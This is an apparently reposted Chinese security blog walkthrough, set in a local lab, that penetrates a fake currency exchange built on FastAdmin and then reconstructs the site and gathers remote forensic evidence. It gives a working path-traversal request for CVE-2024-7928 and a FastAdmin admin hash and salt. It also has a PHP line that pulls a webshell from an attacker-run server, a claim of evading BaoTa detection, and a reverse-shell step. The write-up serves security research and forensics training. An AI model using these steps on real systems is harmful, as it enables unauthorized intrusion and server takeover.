文章总结: 这篇文章详细介绍了对基于Fastadmin框架的虚假货币交易所进行渗透测试和电子数据取证的全过程,包括利用CVE-2024-7928漏洞获取数据库信息、破解管理员密码、上传webshell获取服务器控制权、重构网站以及进行远勘取证的步骤和方法。文章提供了具体的技术细节和操作指南,对网络安全研究和取证工作具有实用价值。
综合评分: 87
文章分类: 渗透测试,漏洞分析,WEB安全,应急响应,实战经验
基于Fastadmin框架的涉网平台从渗透测试到电子数据取证一条龙手册
原创
大荒Sec
太乙Sec实验室
2025年12月12日 14:09
江苏
免责声明:本公众号 太乙Sec实验室所提供的实验环境均是本地搭建,仅限于网络安全研究与学习。旨在为安全爱好者提供技术交流。任何个人或组织因传播、利用本公众号所提供的信息而进行的操作,所导致的直接或间接后果及损失,均由使用者本人负责。太乙Sec实验室及作者对此不承担任何责任。
实验说明
灵感来源:前几年的某市wa一个项目,基于fastadmin框架
编个故事:目前新型网络犯罪形势严峻,危害了社会公共秩序。随着越来越多的新型网络犯罪涉案数据存储在云端服务器,证据收集与提取的复杂度和难度逐渐增加。小明作为一名网络安全研究员,应上级安排与 GA 展开合作,对虚假货币交易所进行渗透,在行动中要求对服务器进行数据取证。
实验环境
源码:随便找一个最新微交所fastadmin框架的源码。
Cenots7.6+ Ngnix + PHP + Mysql
windows服务器常见架构:
IIS + ASP/ASPX + MSSql
Apache + PHP + MySql
开始实验
直接访问目标 ip ,后台挂扫描;可以看出这是一个虚假货币,随便注册一下进去看看啥玩意,好家伙这ui还是这么简约。
前台没有可供交互的界面,以前至少还有文件上传功能或者能编辑用户名信息等,现在直接可利用的东西都没有,
看看信息收集工作完成后,能否找到突破口。
前台和后台没有任何可以修改的机会,只能先跑后台弱口令。
去年爆发一个新漏洞,CVE-2024-7928
老规矩,yakit跑通杀一下All漏洞
出货了!!能看出来这一款是基于 Fastadmin 二次开发的
验证一下EXP
GET /index/ajax/lang?lang=../../application/database HTTP/1.1Host: 192.168.220.130Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: 4d0c6f5e3d634d8b897578015a9e5772=db78ce9f-c0a1-4e30-af83-860508050a00.27SCkaA_V1FUgCZJfs-fsFN3Q3IUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we
直接读取数据库信息

接下来直接远程连接 mysql,前提是端口没有限制,能连接。
PS:大多数都连接不了
看看 user 用户表,随机生成的数据哦!!
看看后台管理员的表
对后台用户进行 cmd 解密,运气好直接出来。
如果解密失败,用以下方法
密码(password):3d66ce6a208d89bf833dd8e7ccf46fa2
密码盐(salt):02a3eb
这里我已经更改过了,再进一下后台。
此方法只适合PHP FastAdmin框架,理论上同框架的密码可以通用!
后台各个配置文件大部分都是写死的,尝试2分半的 Fuzz 乱插之后竟然成功了….
准备一个webshell,放在自己的服务器上,使用python启动一个临时web。
python3 -m http.server 8080
关于 PHP 函数的骚操作
file_put_contents()是 PHP 中的一个函数,用于将一个字符串内容写入到文件中。
file_get_contents()是 PHP 中的一个函数,用于将一个文件读入一个字符串。
结合一下就是下面代码:
file_put_contents('/目录/your.php',file_get_contents('127.0.0.1/1.php'))

怕马儿被 BT 杀,就换大马了,测试过宝塔随便过。
上传成功
直接访问大马
反弹 shell
以下是常见 Web 中间件配置文件的位置:
Apache:在 Linux 系统中,配置文件通常位于/etc/httpd/conf/httpd.conf或/etc/apache2/apache2.conf及相关目录下的子配置文件。
Nginx:在 Linux 系统中,配置文件一般是/etc/nginx/nginx.conf。
Tomcat:在 Linux 和 Windows 系统中,主要配置文件通常是conf/server.xml,此外还有web.xml等配置文件位于conf/Catalina/[具体的主机名或默认主机名]/目录下。
IIS(Internet Information Services):在 Windows 系统中,主要通过图形界面进行配置,其配置存储在不同位置的注册表项和系统文件中。也可以通过%systemroot%\System32\inetsrv\config\applicationHost.config文件进行一些配置。
常见数据库配置文件的默认位置因数据库类型而异:
MySQL:Linux 系统下可能在 /etc/mysql/my.cnf 或 /etc/my.cnf。SQL Server:配置文件位置可能因安装方式和版本有所不同,一般在安装目录下的相关子目录中。Oracle:在 Linux 系统下可能在 /etc/oratab、$ORACLE_HOME/network/admin/tnsnames.ora 等位置。PostgreSQL:Linux 系统下通常在 /etc/postgresql/<version>/main/postgresql.conf。
宝塔默认为:/www/server /www/wwwlogs
服务器网站重构
备份站点以及数据库,打上Hash,有仿真厂商软件无脑连接就行了。
宝塔正向搭建网站:可将 “XXXX.zip” 网站源码以压缩包形式通过宝塔面板上传至 “/www/wwwroot” 并解压,然后编辑站点基本信息、添加数据库、编辑数据库配置文件、绑定 hosts 域名(内网可以diy域名),最后进行访问。
添加数据库信息需注意:数据库名应与网站源码数据库配置文件的数据库名一致;只能用非 “root” 普通用户,MySQL 安装有默认 “root” 用户具超级权限,网站数据库配置文件显示非 “root” 用户,此时用户和密码可自定义。
配置数据库链接
访问一下正常
远勘取证
最后说一下关于远勘取证的基本要求吧,总结如下:
启动屏幕录像软件
打开摄像机;可使用数字照相机、截屏工具、屏幕录像软件或数字摄像机等记录检验设备上显示的内容和操作过程。
查杀病毒
打开杀毒软件全盘杀毒。
清除 DNS缓存记录:
ipconfig -flushdns
检查hosts记录
确认目标网站没有在此做映射
(c:\Windows\System32\drivers\etc)。
打开网络设置界面
检查本机网络连接设置与DNS设置(DNS服务尽可能调整为114等公共服务器)。
tracert路由
检查,截图。
例如:tracert www.baidu.com。
浏览器缓存数据清除。
时间校验
浏览器访问国家授时中心 ,校准本机时间。
勘验远程主机
根据上面的步骤找出相关配置文件,根据以下进行勘验远程。
往期精彩回顾
【漏洞预警】核弹级漏洞 React RCE漏洞(CVE-2025-55182)含Poc
关注我,了解更多知识,别忘了关注+点赞哦!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:太乙Sec实验室 大荒Sec《基于Fastadmin框架的涉网平台从渗透测试到电子数据取证一条龙手册》